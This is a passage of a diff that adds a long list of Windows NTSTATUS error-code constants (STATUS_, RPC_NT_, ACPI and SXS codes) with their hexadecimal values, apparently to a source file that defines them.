+STATUS_ALL_SIDS_FILTERED                                          = 0xC000035E
+STATUS_NOT_SAFE_MODE_DRIVER                                       = 0xC000035F
+STATUS_ACCESS_DISABLED_BY_POLICY_DEFAULT                          = 0xC0000361
+STATUS_ACCESS_DISABLED_BY_POLICY_PATH                             = 0xC0000362
+STATUS_ACCESS_DISABLED_BY_POLICY_PUBLISHER                        = 0xC0000363
+STATUS_ACCESS_DISABLED_BY_POLICY_OTHER                            = 0xC0000364
+STATUS_FAILED_DRIVER_ENTRY                                        = 0xC0000365
+STATUS_DEVICE_ENUMERATION_ERROR                                   = 0xC0000366
+STATUS_MOUNT_POINT_NOT_RESOLVED                                   = 0xC0000368
+STATUS_INVALID_DEVICE_OBJECT_PARAMETER                            = 0xC0000369
+STATUS_MCA_OCCURED                                                = 0xC000036A
+STATUS_DRIVER_BLOCKED_CRITICAL                                    = 0xC000036B
+STATUS_DRIVER_BLOCKED                                             = 0xC000036C
+STATUS_DRIVER_DATABASE_ERROR                                      = 0xC000036D
+STATUS_SYSTEM_HIVE_TOO_LARGE                                      = 0xC000036E
+STATUS_INVALID_IMPORT_OF_NON_DLL                                  = 0xC000036F
+STATUS_NO_SECRETS                                                 = 0xC0000371
+STATUS_ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY                      = 0xC0000372
+STATUS_FAILED_STACK_SWITCH                                        = 0xC0000373
+STATUS_HEAP_CORRUPTION                                            = 0xC0000374
+STATUS_SMARTCARD_WRONG_PIN                                        = 0xC0000380
+STATUS_SMARTCARD_CARD_BLOCKED                                     = 0xC0000381
+STATUS_SMARTCARD_CARD_NOT_AUTHENTICATED                           = 0xC0000382
+STATUS_SMARTCARD_NO_CARD                                          = 0xC0000383
+STATUS_SMARTCARD_NO_KEY_CONTAINER                                 = 0xC0000384
+STATUS_SMARTCARD_NO_CERTIFICATE                                   = 0xC0000385
+STATUS_SMARTCARD_NO_KEYSET                                        = 0xC0000386
+STATUS_SMARTCARD_IO_ERROR                                         = 0xC0000387
+STATUS_DOWNGRADE_DETECTED                                         = 0xC0000388
+STATUS_SMARTCARD_CERT_REVOKED                                     = 0xC0000389
+STATUS_ISSUING_CA_UNTRUSTED                                       = 0xC000038A
+STATUS_REVOCATION_OFFLINE_C                                       = 0xC000038B
+STATUS_PKINIT_CLIENT_FAILURE                                      = 0xC000038C
+STATUS_SMARTCARD_CERT_EXPIRED                                     = 0xC000038D
+STATUS_DRIVER_FAILED_PRIOR_UNLOAD                                 = 0xC000038E
+STATUS_SMARTCARD_SILENT_CONTEXT                                   = 0xC000038F
+STATUS_PER_USER_TRUST_QUOTA_EXCEEDED                              = 0xC0000401
+STATUS_ALL_USER_TRUST_QUOTA_EXCEEDED                              = 0xC0000402
+STATUS_USER_DELETE_TRUST_QUOTA_EXCEEDED                           = 0xC0000403
+STATUS_DS_NAME_NOT_UNIQUE                                         = 0xC0000404
+STATUS_DS_DUPLICATE_ID_FOUND                                      = 0xC0000405
+STATUS_DS_GROUP_CONVERSION_ERROR                                  = 0xC0000406
+STATUS_VOLSNAP_PREPARE_HIBERNATE                                  = 0xC0000407
+STATUS_USER2USER_REQUIRED                                         = 0xC0000408
+STATUS_STACK_BUFFER_OVERRUN                                       = 0xC0000409
+STATUS_NO_S4U_PROT_SUPPORT                                        = 0xC000040A
+STATUS_CROSSREALM_DELEGATION_FAILURE                              = 0xC000040B
+STATUS_REVOCATION_OFFLINE_KDC                                     = 0xC000040C
+STATUS_ISSUING_CA_UNTRUSTED_KDC                                   = 0xC000040D
+STATUS_KDC_CERT_EXPIRED                                           = 0xC000040E
+STATUS_KDC_CERT_REVOKED                                           = 0xC000040F
+STATUS_PARAMETER_QUOTA_EXCEEDED                                   = 0xC0000410
+STATUS_HIBERNATION_FAILURE                                        = 0xC0000411
+STATUS_DELAY_LOAD_FAILED                                          = 0xC0000412
+STATUS_AUTHENTICATION_FIREWALL_FAILED                             = 0xC0000413
+STATUS_VDM_DISALLOWED                                             = 0xC0000414
+STATUS_HUNG_DISPLAY_DRIVER_THREAD                                 = 0xC0000415
+STATUS_INSUFFICIENT_RESOURCE_FOR_SPECIFIED_SHARED_SECTION_SIZE    = 0xC0000416
+STATUS_INVALID_CRUNTIME_PARAMETER                                 = 0xC0000417
+STATUS_NTLM_BLOCKED                                               = 0xC0000418
+STATUS_DS_SRC_SID_EXISTS_IN_FOREST                                = 0xC0000419
+STATUS_DS_DOMAIN_NAME_EXISTS_IN_FOREST                            = 0xC000041A
+STATUS_DS_FLAT_NAME_EXISTS_IN_FOREST                              = 0xC000041B
+STATUS_INVALID_USER_PRINCIPAL_NAME                                = 0xC000041C
+STATUS_ASSERTION_FAILURE                                          = 0xC0000420
+STATUS_VERIFIER_STOP                                              = 0xC0000421
+STATUS_CALLBACK_POP_STACK                                         = 0xC0000423
+STATUS_INCOMPATIBLE_DRIVER_BLOCKED                                = 0xC0000424
+STATUS_HIVE_UNLOADED                                              = 0xC0000425
+STATUS_COMPRESSION_DISABLED                                       = 0xC0000426
+STATUS_FILE_SYSTEM_LIMITATION                                     = 0xC0000427
+STATUS_INVALID_IMAGE_HASH                                         = 0xC0000428
+STATUS_NOT_CAPABLE                                                = 0xC0000429
+STATUS_REQUEST_OUT_OF_SEQUENCE                                    = 0xC000042A
+STATUS_IMPLEMENTATION_LIMIT                                       = 0xC000042B
+STATUS_ELEVATION_REQUIRED                                         = 0xC000042C
+STATUS_NO_SECURITY_CONTEXT                                        = 0xC000042D
+STATUS_PKU2U_CERT_FAILURE                                         = 0xC000042E
+STATUS_BEYOND_VDL                                                 = 0xC0000432
+STATUS_ENCOUNTERED_WRITE_IN_PROGRESS                              = 0xC0000433
+STATUS_PTE_CHANGED                                                = 0xC0000434
+STATUS_PURGE_FAILED                                               = 0xC0000435
+STATUS_CRED_REQUIRES_CONFIRMATION                                 = 0xC0000440
+STATUS_CS_ENCRYPTION_INVALID_SERVER_RESPONSE                      = 0xC0000441
+STATUS_CS_ENCRYPTION_UNSUPPORTED_SERVER                           = 0xC0000442
+STATUS_CS_ENCRYPTION_EXISTING_ENCRYPTED_FILE                      = 0xC0000443
+STATUS_CS_ENCRYPTION_NEW_ENCRYPTED_FILE                           = 0xC0000444
+STATUS_CS_ENCRYPTION_FILE_NOT_CSE                                 = 0xC0000445
+STATUS_INVALID_LABEL                                              = 0xC0000446
+STATUS_DRIVER_PROCESS_TERMINATED                                  = 0xC0000450
+STATUS_AMBIGUOUS_SYSTEM_DEVICE                                    = 0xC0000451
+STATUS_SYSTEM_DEVICE_NOT_FOUND                                    = 0xC0000452
+STATUS_RESTART_BOOT_APPLICATION                                   = 0xC0000453
+STATUS_INSUFFICIENT_NVRAM_RESOURCES                               = 0xC0000454
+STATUS_INVALID_TASK_NAME                                          = 0xC0000500
+STATUS_INVALID_TASK_INDEX                                         = 0xC0000501
+STATUS_THREAD_ALREADY_IN_TASK                                     = 0xC0000502
+STATUS_CALLBACK_BYPASS                                            = 0xC0000503
+STATUS_FAIL_FAST_EXCEPTION                                        = 0xC0000602
+STATUS_IMAGE_CERT_REVOKED                                         = 0xC0000603
+STATUS_PORT_CLOSED                                                = 0xC0000700
+STATUS_MESSAGE_LOST                                               = 0xC0000701
+STATUS_INVALID_MESSAGE                                            = 0xC0000702
+STATUS_REQUEST_CANCELED                                           = 0xC0000703
+STATUS_RECURSIVE_DISPATCH                                         = 0xC0000704
+STATUS_LPC_RECEIVE_BUFFER_EXPECTED                                = 0xC0000705
+STATUS_LPC_INVALID_CONNECTION_USAGE                               = 0xC0000706
+STATUS_LPC_REQUESTS_NOT_ALLOWED                                   = 0xC0000707
+STATUS_RESOURCE_IN_USE                                            = 0xC0000708
+STATUS_HARDWARE_MEMORY_ERROR                                      = 0xC0000709
+STATUS_THREADPOOL_HANDLE_EXCEPTION                                = 0xC000070A
+STATUS_THREADPOOL_SET_EVENT_ON_COMPLETION_FAILED                  = 0xC000070B
+STATUS_THREADPOOL_RELEASE_SEMAPHORE_ON_COMPLETION_FAILED          = 0xC000070C
+STATUS_THREADPOOL_RELEASE_MUTEX_ON_COMPLETION_FAILED              = 0xC000070D
+STATUS_THREADPOOL_FREE_LIBRARY_ON_COMPLETION_FAILED               = 0xC000070E
+STATUS_THREADPOOL_RELEASED_DURING_OPERATION                       = 0xC000070F
+STATUS_CALLBACK_RETURNED_WHILE_IMPERSONATING                      = 0xC0000710
+STATUS_APC_RETURNED_WHILE_IMPERSONATING                           = 0xC0000711
+STATUS_PROCESS_IS_PROTECTED                                       = 0xC0000712
+STATUS_MCA_EXCEPTION                                              = 0xC0000713
+STATUS_CERTIFICATE_MAPPING_NOT_UNIQUE                             = 0xC0000714
+STATUS_SYMLINK_CLASS_DISABLED                                     = 0xC0000715
+STATUS_INVALID_IDN_NORMALIZATION                                  = 0xC0000716
+STATUS_NO_UNICODE_TRANSLATION                                     = 0xC0000717
+STATUS_ALREADY_REGISTERED                                         = 0xC0000718
+STATUS_CONTEXT_MISMATCH                                           = 0xC0000719
+STATUS_PORT_ALREADY_HAS_COMPLETION_LIST                           = 0xC000071A
+STATUS_CALLBACK_RETURNED_THREAD_PRIORITY                          = 0xC000071B
+STATUS_INVALID_THREAD                                             = 0xC000071C
+STATUS_CALLBACK_RETURNED_TRANSACTION                              = 0xC000071D
+STATUS_CALLBACK_RETURNED_LDR_LOCK                                 = 0xC000071E
+STATUS_CALLBACK_RETURNED_LANG                                     = 0xC000071F
+STATUS_CALLBACK_RETURNED_PRI_BACK                                 = 0xC0000720
+STATUS_DISK_REPAIR_DISABLED                                       = 0xC0000800
+STATUS_DS_DOMAIN_RENAME_IN_PROGRESS                               = 0xC0000801
+STATUS_DISK_QUOTA_EXCEEDED                                        = 0xC0000802
+STATUS_CONTENT_BLOCKED                                            = 0xC0000804
+STATUS_BAD_CLUSTERS                                               = 0xC0000805
+STATUS_VOLUME_DIRTY                                               = 0xC0000806
+STATUS_FILE_CHECKED_OUT                                           = 0xC0000901
+STATUS_CHECKOUT_REQUIRED                                          = 0xC0000902
+STATUS_BAD_FILE_TYPE                                              = 0xC0000903
+STATUS_FILE_TOO_LARGE                                             = 0xC0000904
+STATUS_FORMS_AUTH_REQUIRED                                        = 0xC0000905
+STATUS_VIRUS_INFECTED                                             = 0xC0000906
+STATUS_VIRUS_DELETED                                              = 0xC0000907
+STATUS_BAD_MCFG_TABLE                                             = 0xC0000908
+STATUS_CANNOT_BREAK_OPLOCK                                        = 0xC0000909
+STATUS_WOW_ASSERTION                                              = 0xC0009898
+STATUS_INVALID_SIGNATURE                                          = 0xC000A000
+STATUS_HMAC_NOT_SUPPORTED                                         = 0xC000A001
+STATUS_IPSEC_QUEUE_OVERFLOW                                       = 0xC000A010
+STATUS_ND_QUEUE_OVERFLOW                                          = 0xC000A011
+STATUS_HOPLIMIT_EXCEEDED                                          = 0xC000A012
+STATUS_PROTOCOL_NOT_SUPPORTED                                     = 0xC000A013
+STATUS_LOST_WRITEBEHIND_DATA_NETWORK_DISCONNECTED                 = 0xC000A080
+STATUS_LOST_WRITEBEHIND_DATA_NETWORK_SERVER_ERROR                 = 0xC000A081
+STATUS_LOST_WRITEBEHIND_DATA_LOCAL_DISK_ERROR                     = 0xC000A082
+STATUS_XML_PARSE_ERROR                                            = 0xC000A083
+STATUS_XMLDSIG_ERROR                                              = 0xC000A084
+STATUS_WRONG_COMPARTMENT                                          = 0xC000A085
+STATUS_AUTHIP_FAILURE                                             = 0xC000A086
+STATUS_DS_OID_MAPPED_GROUP_CANT_HAVE_MEMBERS                      = 0xC000A087
+STATUS_DS_OID_NOT_FOUND                                           = 0xC000A088
+STATUS_HASH_NOT_SUPPORTED                                         = 0xC000A100
+STATUS_HASH_NOT_PRESENT                                           = 0xC000A101
+DBG_NO_STATE_CHANGE                                               = 0xC0010001
+DBG_APP_NOT_IDLE                                                  = 0xC0010002
+RPC_NT_INVALID_STRING_BINDING                                     = 0xC0020001
+RPC_NT_WRONG_KIND_OF_BINDING                                      = 0xC0020002
+RPC_NT_INVALID_BINDING                                            = 0xC0020003
+RPC_NT_PROTSEQ_NOT_SUPPORTED                                      = 0xC0020004
+RPC_NT_INVALID_RPC_PROTSEQ                                        = 0xC0020005
+RPC_NT_INVALID_STRING_UUID                                        = 0xC0020006
+RPC_NT_INVALID_ENDPOINT_FORMAT                                    = 0xC0020007
+RPC_NT_INVALID_NET_ADDR                                           = 0xC0020008
+RPC_NT_NO_ENDPOINT_FOUND                                          = 0xC0020009
+RPC_NT_INVALID_TIMEOUT                                            = 0xC002000A
+RPC_NT_OBJECT_NOT_FOUND                                           = 0xC002000B
+RPC_NT_ALREADY_REGISTERED                                         = 0xC002000C
+RPC_NT_TYPE_ALREADY_REGISTERED                                    = 0xC002000D
+RPC_NT_ALREADY_LISTENING                                          = 0xC002000E
+RPC_NT_NO_PROTSEQS_REGISTERED                                     = 0xC002000F
+RPC_NT_NOT_LISTENING                                              = 0xC0020010
+RPC_NT_UNKNOWN_MGR_TYPE                                           = 0xC0020011
+RPC_NT_UNKNOWN_IF                                                 = 0xC0020012
+RPC_NT_NO_BINDINGS                                                = 0xC0020013
+RPC_NT_NO_PROTSEQS                                                = 0xC0020014
+RPC_NT_CANT_CREATE_ENDPOINT                                       = 0xC0020015
+RPC_NT_OUT_OF_RESOURCES                                           = 0xC0020016
+RPC_NT_SERVER_UNAVAILABLE                                         = 0xC0020017
+RPC_NT_SERVER_TOO_BUSY                                            = 0xC0020018
+RPC_NT_INVALID_NETWORK_OPTIONS                                    = 0xC0020019
+RPC_NT_NO_CALL_ACTIVE                                             = 0xC002001A
+RPC_NT_CALL_FAILED                                                = 0xC002001B
+RPC_NT_CALL_FAILED_DNE                                            = 0xC002001C
+RPC_NT_PROTOCOL_ERROR                                             = 0xC002001D
+RPC_NT_UNSUPPORTED_TRANS_SYN                                      = 0xC002001F
+RPC_NT_UNSUPPORTED_TYPE                                           = 0xC0020021
+RPC_NT_INVALID_TAG                                                = 0xC0020022
+RPC_NT_INVALID_BOUND                                              = 0xC0020023
+RPC_NT_NO_ENTRY_NAME                                              = 0xC0020024
+RPC_NT_INVALID_NAME_SYNTAX                                        = 0xC0020025
+RPC_NT_UNSUPPORTED_NAME_SYNTAX                                    = 0xC0020026
+RPC_NT_UUID_NO_ADDRESS                                            = 0xC0020028
+RPC_NT_DUPLICATE_ENDPOINT                                         = 0xC0020029
+RPC_NT_UNKNOWN_AUTHN_TYPE                                         = 0xC002002A
+RPC_NT_MAX_CALLS_TOO_SMALL                                        = 0xC002002B
+RPC_NT_STRING_TOO_LONG                                            = 0xC002002C
+RPC_NT_PROTSEQ_NOT_FOUND                                          = 0xC002002D
+RPC_NT_PROCNUM_OUT_OF_RANGE                                       = 0xC002002E
+RPC_NT_BINDING_HAS_NO_AUTH                                        = 0xC002002F
+RPC_NT_UNKNOWN_AUTHN_SERVICE                                      = 0xC0020030
+RPC_NT_UNKNOWN_AUTHN_LEVEL                                        = 0xC0020031
+RPC_NT_INVALID_AUTH_IDENTITY                                      = 0xC0020032
+RPC_NT_UNKNOWN_AUTHZ_SERVICE                                      = 0xC0020033
+EPT_NT_INVALID_ENTRY                                              = 0xC0020034
+EPT_NT_CANT_PERFORM_OP                                            = 0xC0020035
+EPT_NT_NOT_REGISTERED                                             = 0xC0020036
+RPC_NT_NOTHING_TO_EXPORT                                          = 0xC0020037
+RPC_NT_INCOMPLETE_NAME                                            = 0xC0020038
+RPC_NT_INVALID_VERS_OPTION                                        = 0xC0020039
+RPC_NT_NO_MORE_MEMBERS                                            = 0xC002003A
+RPC_NT_NOT_ALL_OBJS_UNEXPORTED                                    = 0xC002003B
+RPC_NT_INTERFACE_NOT_FOUND                                        = 0xC002003C
+RPC_NT_ENTRY_ALREADY_EXISTS                                       = 0xC002003D
+RPC_NT_ENTRY_NOT_FOUND                                            = 0xC002003E
+RPC_NT_NAME_SERVICE_UNAVAILABLE                                   = 0xC002003F
+RPC_NT_INVALID_NAF_ID                                             = 0xC0020040
+RPC_NT_CANNOT_SUPPORT                                             = 0xC0020041
+RPC_NT_NO_CONTEXT_AVAILABLE                                       = 0xC0020042
+RPC_NT_INTERNAL_ERROR                                             = 0xC0020043
+RPC_NT_ZERO_DIVIDE                                                = 0xC0020044
+RPC_NT_ADDRESS_ERROR                                              = 0xC0020045
+RPC_NT_FP_DIV_ZERO                                                = 0xC0020046
+RPC_NT_FP_UNDERFLOW                                               = 0xC0020047
+RPC_NT_FP_OVERFLOW                                                = 0xC0020048
+RPC_NT_CALL_IN_PROGRESS                                           = 0xC0020049
+RPC_NT_NO_MORE_BINDINGS                                           = 0xC002004A
+RPC_NT_GROUP_MEMBER_NOT_FOUND                                     = 0xC002004B
+EPT_NT_CANT_CREATE                                                = 0xC002004C
+RPC_NT_INVALID_OBJECT                                             = 0xC002004D
+RPC_NT_NO_INTERFACES                                              = 0xC002004F
+RPC_NT_CALL_CANCELLED                                             = 0xC0020050
+RPC_NT_BINDING_INCOMPLETE                                         = 0xC0020051
+RPC_NT_COMM_FAILURE                                               = 0xC0020052
+RPC_NT_UNSUPPORTED_AUTHN_LEVEL                                    = 0xC0020053
+RPC_NT_NO_PRINC_NAME                                              = 0xC0020054
+RPC_NT_NOT_RPC_ERROR                                              = 0xC0020055
+RPC_NT_SEC_PKG_ERROR                                              = 0xC0020057
+RPC_NT_NOT_CANCELLED                                              = 0xC0020058
+RPC_NT_INVALID_ASYNC_HANDLE                                       = 0xC0020062
+RPC_NT_INVALID_ASYNC_CALL                                         = 0xC0020063
+RPC_NT_PROXY_ACCESS_DENIED                                        = 0xC0020064
+RPC_P_RECEIVE_ALERTED                                             = 0xC0021007
+RPC_P_CONNECTION_CLOSED                                           = 0xC0021008
+RPC_P_RECEIVE_FAILED                                              = 0xC0021009
+RPC_P_SEND_FAILED                                                 = 0xC002100A
+RPC_P_TIMEOUT                                                     = 0xC002100B
+RPC_P_SERVER_TRANSPORT_ERROR                                      = 0xC002100C
+RPC_P_EXCEPTION_OCCURED                                           = 0xC002100E
+RPC_P_CONNECTION_SHUTDOWN                                         = 0xC0021012
+RPC_P_THREAD_LISTENING                                            = 0xC0021015
+RPC_NT_NO_MORE_ENTRIES                                            = 0xC0030001
+RPC_NT_SS_CHAR_TRANS_OPEN_FAIL                                    = 0xC0030002
+RPC_NT_SS_CHAR_TRANS_SHORT_FILE                                   = 0xC0030003
+RPC_NT_SS_IN_NULL_CONTEXT                                         = 0xC0030004
+RPC_NT_SS_CONTEXT_MISMATCH                                        = 0xC0030005
+RPC_NT_SS_CONTEXT_DAMAGED                                         = 0xC0030006
+RPC_NT_SS_HANDLES_MISMATCH                                        = 0xC0030007
+RPC_NT_SS_CANNOT_GET_CALL_HANDLE                                  = 0xC0030008
+RPC_NT_NULL_REF_POINTER                                           = 0xC0030009
+RPC_NT_ENUM_VALUE_OUT_OF_RANGE                                    = 0xC003000A
+RPC_NT_BYTE_COUNT_TOO_SMALL                                       = 0xC003000B
+RPC_NT_BAD_STUB_DATA                                              = 0xC003000C
+RPC_NT_INVALID_ES_ACTION                                          = 0xC0030059
+RPC_NT_WRONG_ES_VERSION                                           = 0xC003005A
+RPC_NT_WRONG_STUB_VERSION                                         = 0xC003005B
+RPC_NT_INVALID_PIPE_OBJECT                                        = 0xC003005C
+RPC_NT_INVALID_PIPE_OPERATION                                     = 0xC003005D
+RPC_NT_WRONG_PIPE_VERSION                                         = 0xC003005E
+RPC_NT_PIPE_CLOSED                                                = 0xC003005F
+RPC_NT_PIPE_DISCIPLINE_ERROR                                      = 0xC0030060
+RPC_NT_PIPE_EMPTY                                                 = 0xC0030061
+STATUS_PNP_BAD_MPS_TABLE                                          = 0xC0040035
+STATUS_PNP_TRANSLATION_FAILED                                     = 0xC0040036
+STATUS_PNP_IRQ_TRANSLATION_FAILED                                 = 0xC0040037
+STATUS_PNP_INVALID_ID                                             = 0xC0040038
+STATUS_IO_REISSUE_AS_CACHED                                       = 0xC0040039
+STATUS_CTX_WINSTATION_NAME_INVALID                                = 0xC00A0001
+STATUS_CTX_INVALID_PD                                             = 0xC00A0002
+STATUS_CTX_PD_NOT_FOUND                                           = 0xC00A0003
+STATUS_CTX_CLOSE_PENDING                                          = 0xC00A0006
+STATUS_CTX_NO_OUTBUF                                              = 0xC00A0007
+STATUS_CTX_MODEM_INF_NOT_FOUND                                    = 0xC00A0008
+STATUS_CTX_INVALID_MODEMNAME                                      = 0xC00A0009
+STATUS_CTX_RESPONSE_ERROR                                         = 0xC00A000A
+STATUS_CTX_MODEM_RESPONSE_TIMEOUT                                 = 0xC00A000B
+STATUS_CTX_MODEM_RESPONSE_NO_CARRIER                              = 0xC00A000C
+STATUS_CTX_MODEM_RESPONSE_NO_DIALTONE                             = 0xC00A000D
+STATUS_CTX_MODEM_RESPONSE_BUSY                                    = 0xC00A000E
+STATUS_CTX_MODEM_RESPONSE_VOICE                                   = 0xC00A000F
+STATUS_CTX_TD_ERROR                                               = 0xC00A0010
+STATUS_CTX_LICENSE_CLIENT_INVALID                                 = 0xC00A0012
+STATUS_CTX_LICENSE_NOT_AVAILABLE                                  = 0xC00A0013
+STATUS_CTX_LICENSE_EXPIRED                                        = 0xC00A0014
+STATUS_CTX_WINSTATION_NOT_FOUND                                   = 0xC00A0015
+STATUS_CTX_WINSTATION_NAME_COLLISION                              = 0xC00A0016
+STATUS_CTX_WINSTATION_BUSY                                        = 0xC00A0017
+STATUS_CTX_BAD_VIDEO_MODE                                         = 0xC00A0018
+STATUS_CTX_GRAPHICS_INVALID                                       = 0xC00A0022
+STATUS_CTX_NOT_CONSOLE                                            = 0xC00A0024
+STATUS_CTX_CLIENT_QUERY_TIMEOUT                                   = 0xC00A0026
+STATUS_CTX_CONSOLE_DISCONNECT                                     = 0xC00A0027
+STATUS_CTX_CONSOLE_CONNECT                                        = 0xC00A0028
+STATUS_CTX_SHADOW_DENIED                                          = 0xC00A002A
+STATUS_CTX_WINSTATION_ACCESS_DENIED                               = 0xC00A002B
+STATUS_CTX_INVALID_WD                                             = 0xC00A002E
+STATUS_CTX_WD_NOT_FOUND                                           = 0xC00A002F
+STATUS_CTX_SHADOW_INVALID                                         = 0xC00A0030
+STATUS_CTX_SHADOW_DISABLED                                        = 0xC00A0031
+STATUS_RDP_PROTOCOL_ERROR                                         = 0xC00A0032
+STATUS_CTX_CLIENT_LICENSE_NOT_SET                                 = 0xC00A0033
+STATUS_CTX_CLIENT_LICENSE_IN_USE                                  = 0xC00A0034
+STATUS_CTX_SHADOW_ENDED_BY_MODE_CHANGE                            = 0xC00A0035
+STATUS_CTX_SHADOW_NOT_RUNNING                                     = 0xC00A0036
+STATUS_CTX_LOGON_DISABLED                                         = 0xC00A0037
+STATUS_CTX_SECURITY_LAYER_ERROR                                   = 0xC00A0038
+STATUS_TS_INCOMPATIBLE_SESSIONS                                   = 0xC00A0039
+STATUS_MUI_FILE_NOT_FOUND                                         = 0xC00B0001
+STATUS_MUI_INVALID_FILE                                           = 0xC00B0002
+STATUS_MUI_INVALID_RC_CONFIG                                      = 0xC00B0003
+STATUS_MUI_INVALID_LOCALE_NAME                                    = 0xC00B0004
+STATUS_MUI_INVALID_ULTIMATEFALLBACK_NAME                          = 0xC00B0005
+STATUS_MUI_FILE_NOT_LOADED                                        = 0xC00B0006
+STATUS_RESOURCE_ENUM_USER_STOP                                    = 0xC00B0007
+STATUS_CLUSTER_INVALID_NODE                                       = 0xC0130001
+STATUS_CLUSTER_NODE_EXISTS                                        = 0xC0130002
+STATUS_CLUSTER_JOIN_IN_PROGRESS                                   = 0xC0130003
+STATUS_CLUSTER_NODE_NOT_FOUND                                     = 0xC0130004
+STATUS_CLUSTER_LOCAL_NODE_NOT_FOUND                               = 0xC0130005
+STATUS_CLUSTER_NETWORK_EXISTS                                     = 0xC0130006
+STATUS_CLUSTER_NETWORK_NOT_FOUND                                  = 0xC0130007
+STATUS_CLUSTER_NETINTERFACE_EXISTS                                = 0xC0130008
+STATUS_CLUSTER_NETINTERFACE_NOT_FOUND                             = 0xC0130009
+STATUS_CLUSTER_INVALID_REQUEST                                    = 0xC013000A
+STATUS_CLUSTER_INVALID_NETWORK_PROVIDER                           = 0xC013000B
+STATUS_CLUSTER_NODE_DOWN                                          = 0xC013000C
+STATUS_CLUSTER_NODE_UNREACHABLE                                   = 0xC013000D
+STATUS_CLUSTER_NODE_NOT_MEMBER                                    = 0xC013000E
+STATUS_CLUSTER_JOIN_NOT_IN_PROGRESS                               = 0xC013000F
+STATUS_CLUSTER_INVALID_NETWORK                                    = 0xC0130010
+STATUS_CLUSTER_NO_NET_ADAPTERS                                    = 0xC0130011
+STATUS_CLUSTER_NODE_UP                                            = 0xC0130012
+STATUS_CLUSTER_NODE_PAUSED                                        = 0xC0130013
+STATUS_CLUSTER_NODE_NOT_PAUSED                                    = 0xC0130014
+STATUS_CLUSTER_NO_SECURITY_CONTEXT                                = 0xC0130015
+STATUS_CLUSTER_NETWORK_NOT_INTERNAL                               = 0xC0130016
+STATUS_CLUSTER_POISONED                                           = 0xC0130017
+STATUS_ACPI_INVALID_OPCODE                                        = 0xC0140001
+STATUS_ACPI_STACK_OVERFLOW                                        = 0xC0140002
+STATUS_ACPI_ASSERT_FAILED                                         = 0xC0140003
+STATUS_ACPI_INVALID_INDEX                                         = 0xC0140004
+STATUS_ACPI_INVALID_ARGUMENT                                      = 0xC0140005
+STATUS_ACPI_FATAL                                                 = 0xC0140006
+STATUS_ACPI_INVALID_SUPERNAME                                     = 0xC0140007
+STATUS_ACPI_INVALID_ARGTYPE                                       = 0xC0140008
+STATUS_ACPI_INVALID_OBJTYPE                                       = 0xC0140009
+STATUS_ACPI_INVALID_TARGETTYPE                                    = 0xC014000A
+STATUS_ACPI_INCORRECT_ARGUMENT_COUNT                              = 0xC014000B
+STATUS_ACPI_ADDRESS_NOT_MAPPED                                    = 0xC014000C
+STATUS_ACPI_INVALID_EVENTTYPE                                     = 0xC014000D
+STATUS_ACPI_HANDLER_COLLISION                                     = 0xC014000E
+STATUS_ACPI_INVALID_DATA                                          = 0xC014000F
+STATUS_ACPI_INVALID_REGION                                        = 0xC0140010
+STATUS_ACPI_INVALID_ACCESS_SIZE                                   = 0xC0140011
+STATUS_ACPI_ACQUIRE_GLOBAL_LOCK                                   = 0xC0140012
+STATUS_ACPI_ALREADY_INITIALIZED                                   = 0xC0140013
+STATUS_ACPI_NOT_INITIALIZED                                       = 0xC0140014
+STATUS_ACPI_INVALID_MUTEX_LEVEL                                   = 0xC0140015
+STATUS_ACPI_MUTEX_NOT_OWNED                                       = 0xC0140016
+STATUS_ACPI_MUTEX_NOT_OWNER                                       = 0xC0140017
+STATUS_ACPI_RS_ACCESS                                             = 0xC0140018
+STATUS_ACPI_INVALID_TABLE                                         = 0xC0140019
+STATUS_ACPI_REG_HANDLER_FAILED                                    = 0xC0140020
+STATUS_ACPI_POWER_REQUEST_FAILED                                  = 0xC0140021
+STATUS_SXS_SECTION_NOT_FOUND                                      = 0xC0150001
+STATUS_SXS_CANT_GEN_ACTCTX                                        = 0xC0150002
+STATUS_SXS_INVALID_ACTCTXDATA_FORMAT                              = 0xC0150003
+STATUS_SXS_ASSEMBLY_NOT_FOUND                                     = 0xC0150004
+STATUS_SXS_MANIFEST_FORMAT_ERROR                                  = 0xC0150005
+STATUS_SXS_MANIFEST_PARSE_ERROR                                   = 0xC0150006
+STATUS_SXS_ACTIVATION_CONTEXT_DISABLED                            = 0xC0150007
+STATUS_SXS_KEY_NOT_FOUND                                          = 0xC0150008
+STATUS_SXS_VERSION_CONFLICT                                       = 0xC0150009
+STATUS_SXS_WRONG_SECTION_TYPE                                     = 0xC015000A
+STATUS_SXS_THREAD_QUERIES_DISABLED                                = 0xC015000B
+STATUS_SXS_ASSEMBLY_MISSING                                       = 0xC015000C
+STATUS_SXS_PROCESS_DEFAULT_ALREADY_SET                            = 0xC015000E
+STATUS_SXS_EARLY_DEACTIVATION                                     = 0xC015000F
+STATUS_SXS_INVALID_DEACTIVATION                                   = 0xC0150010
+STATUS_SXS_MULTIPLE_DEACTIVATION                                  = 0xC0150011
+STATUS_SXS_SYSTEM_DEFAULT_ACTIVATION_CONTEXT_EMPTY                = 0xC0150012
+STATUS_SXS_PROCESS_TERMINATION_REQUESTED                          = 0xC0150013
+STATUS_SXS_CORRUPT_ACTIVATION_STACK                               = 0xC0150014
+STATUS_SXS_CORRUPTION                                             = 0xC0150015
+STATUS_SXS_INVALID_IDENTITY_ATTRIBUTE_VALUE                       = 0xC0150016
+STATUS_SXS_INVALID_IDENTITY_ATTRIBUTE_NAME                        = 0xC0150017
+STATUS_SXS_IDENTITY_DUPLICATE_ATTRIBUTE                           = 0xC0150018
+STATUS_SXS_IDENTITY_PARSE_ERROR                                   = 0xC0150019
+STATUS_SXS_COMPONENT_STORE_CORRUPT                                = 0xC015001A
+STATUS_SXS_FILE_HASH_MISMATCH                                     = 0xC015001B
+STATUS_SXS_MANIFEST_IDENTITY_SAME_BUT_CONTENTS_DIFFERENT          = 0xC015001C
+STATUS_SXS_IDENTITIES_DIFFERENT                                   = 0xC015001D
+STATUS_SXS_ASSEMBLY_IS_NOT_A_DEPLOYMENT                           = 0xC015001E
+STATUS_SXS_FILE_NOT_PART_OF_ASSEMBLY                              = 0xC015001F
+STATUS_ADVANCED_INSTALLER_FAILED                                  = 0xC0150020
+STATUS_XML_ENCODING_MISMATCH                                      = 0xC0150021
+STATUS_SXS_MANIFEST_TOO_BIG                                       = 0xC0150022
+STATUS_SXS_SETTING_NOT_REGISTERED                                 = 0xC0150023
+STATUS_SXS_TRANSACTION_CLOSURE_INCOMPLETE                         = 0xC0150024
+STATUS_SMI_PRIMITIVE_INSTALLER_FAILED                             = 0xC0150025
